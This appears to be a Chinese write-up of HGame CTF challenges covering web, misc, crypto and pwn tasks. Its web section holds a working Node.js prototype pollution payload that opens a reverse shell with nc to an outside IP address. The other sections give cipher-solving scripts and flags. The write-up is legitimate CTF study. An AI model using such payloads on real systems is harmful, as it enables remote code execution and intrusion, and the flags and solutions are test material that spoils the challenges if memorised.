1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 this .attacks = [ { "method" : "连续砍击" , "attack" : 1000 , "additionalEffect" : "sekiro.posture+=100" , "solution" : "连续格挡" }, { "method" : "普通攻击" , "attack" : 500 , "additionalEffect" : "sekiro.posture+=50" , "solution" : "格挡" }, { "method" : "下段攻击" , "attack" : 1000 , "solution" : "跳跃踩头" }, { "method" : "突刺攻击" , "attack" : 1000 , "solution" : "识破" }, { "method" : "巴之雷" , "attack" : 1000 , "solution" : "雷反" }, ] this .getAttackInfo = function ( ) { return this .attacks[Math .floor(Math .random() * this .attacks.length)] }
是从attacks
中随机挑一个拿出来的,而其中某些是没有additionalEffect
属性的
根据js根据原型链来查找属性的特性
我们可以用原型链污染来修改Object的additionalEffect属性
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /action HTTP/1.1 Host: sekiro.hgame.babelfish.ink Content-Length: 169 Pragma: no-cache Cache-Control: no-cache Accept: */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36 Content-Type: application/json; charset=UTF-8 Referer: http://sekiro.hgame.babelfish.ink/ Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: session=s%3A1PZpvTS3HgeMcmNynPUdu4Yd8B4A7Rlt.c2nTB%2F99oXNjyJljMJ0HZugi0SJnsE4juq2ZboRTH0g Connection: close {"solution":123,"__proto__":{"additionalEffect":"global.process.mainModule.constructor._load('child_process').exec('nc 39.108.164.219 60000 -e /bin/sh',function(){});"}}
content-type要设置成Content-Type: application/json
不然__proto__
是无法当初键的,那么merge也就没用了
hgame{j@v4scr1pt_pr0t0tYp3-poLLut1on_4tt4ck_1s_d@ng3r20us}
misc 欢迎参加HGame! http://rumkin.com/tools/cipher/morse.php
壁纸 就说说咋拿到密码的
压缩文件提示End of Zip archive, comment: "Password is picture ID."
利用搜索引擎(Pixiv@純白可憐
)拿到密码
克苏鲁神话 解压得到一个文本和一个压缩包
观察文本和压缩包发现,二者的CRC值相同,于是考虑用明文攻击(不好意思,我是看着wiki遍历过去的)
然后拿到里面的word文档,但是是加密的,猝.
在看一下那个文本,有点像培根密码
1 2 3 4 5 6 7 8 9 10 11 s="of SuCh GrEAt powers OR beiNGS tHere may BE conCEivAbly A SuRvIval oF HuGely REmOTE periOd." .replace(" " ,"" )[:-1 ] result="" for i in range (0 ,len (s),5 ): temp="" for j in range (5 ): if s[i+j]==s[i+j].lower(): temp+="0" else : temp+="1" result+=chr (int (temp,2 )+ord ('A' )) print (result)
于是拿到密码(HIDDENINTHEDOC),但是还没到头!!!!!百度一下word隐写,最后拿到flag
签到题ProPlus 解压得到password.txt和ok.zip
根据password.txt的提示,栅栏解密+凯撒密码得到压缩包密码.
拿到一堆ook直接上谷歌.ok了
base32->base64->二维码
crypto InfantRSA 直接套脚本
Affine 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import gmpy2from secret import A, B, flagassert flag.startswith('hgame{' ) and flag.endswith('}' )TABLE = 'zxcvbnmasdfghjklqwertyuiop1234567890QWERTYUIOPASDFGHJKLZXCVBNM' MOD = len (TABLE) cipher = '' for b in flag: i = TABLE.find(b) if i == -1 : cipher += b else : ii = (A*i + B) % MOD cipher += TABLE[ii] print (cipher)
我们观察可以发现这其实是个单表替换加密
那么我们只要生成生成一个加密表就可以很容易的求出加密内容
但是唯一麻烦的是我们不知道A,B,但是我们知道明文的前几个字符hgame
于是有
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 TABLE = 'zxcvbnmasdfghjklqwertyuiop1234567890QWERTYUIOPASDFGHJKLZXCVBNM' MOD = len (TABLE) cipher="A8I5z{xr1A_J7ha_vG_TpH410}" for A in range (1 ,MOD): for B in range (1 ,MOD): result="" try : TABLE2={} for b in TABLE: i=TABLE.find(b) TABLE2[TABLE[(A*i + B) % MOD]]=b for b in cipher: ii=TABLE.find(b) if ii==-1 : result+=b else : result+=TABLE2[b] except : pass if "hgame" in result: print (result)
Reorder 这个是位置移动加密,输入一个和flag长度相同的字符串就知道如何解密了
pwn Hard_AAAAA 覆盖变量值来执行后门函数